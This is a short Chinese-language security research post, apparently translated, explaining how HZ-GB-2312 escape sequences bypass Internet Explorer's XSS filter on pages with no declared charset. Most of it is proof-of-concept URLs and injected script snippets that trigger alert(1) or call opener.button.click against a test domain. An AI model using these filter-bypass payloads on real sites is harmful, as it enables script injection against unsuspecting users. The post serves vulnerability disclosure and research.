利用HZ-GB-2312转义序列绕过IE的XSS过滤器
我想分享使用HZ-GB-2312编码的转义序列来绕过IE XSS过滤器的方法。
要使用此向量,我们需要目标页面的Content-Type头部未指定字符集。
绕过方法1
PoC:
1
|
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonmouseover=alert(1)%3EAAA
|
无需用户交互的版本:
1
|
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a
|
“[0x0A]“是HZ-GB-2312转义序列。XSS过滤器似乎对”[0x0A]“做了例外处理。
如果Content-Type头部指定了正确的字符集,则无法工作:
1
|
http://vulnerabledoma.in/char_test?charset=utf-8&body=%3Cx~%0Aonmouseover=alert(1)%3EAAA
|
另一方面,如果meta标签指定了正确的字符集,仍然可以工作:
1
|
http://vulnerabledoma.in/xssable?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a
|
绕过方法2
“~{“也是HZ-GB-2312转义序列。我们可以用它来绕过过滤器。我们可以在字符串字面量中调用同源方法。
PoC在这里:
1
|
http://l0.cm/xssfilter_hz_poc.html
|
请点击"go"按钮。您可以确认element.click方法被调用。
“click"从以下代码调用:
1
|
http://vulnerabledoma.in/xss_js?q=%22%3B~{valueOf:opener.button.click}//
|
1
|
<script>var q="";~{valueOf:opener.button.click}//"</script>
|
此外,您可以使用"toString”:
1
|
http://vulnerabledoma.in/xss_js?q=%22%3B~{toString:opener.button.click}//
|
1
|
<script>var q="";~{toString:opener.button.click}//"</script>
|
以上就是全部内容。下个月见!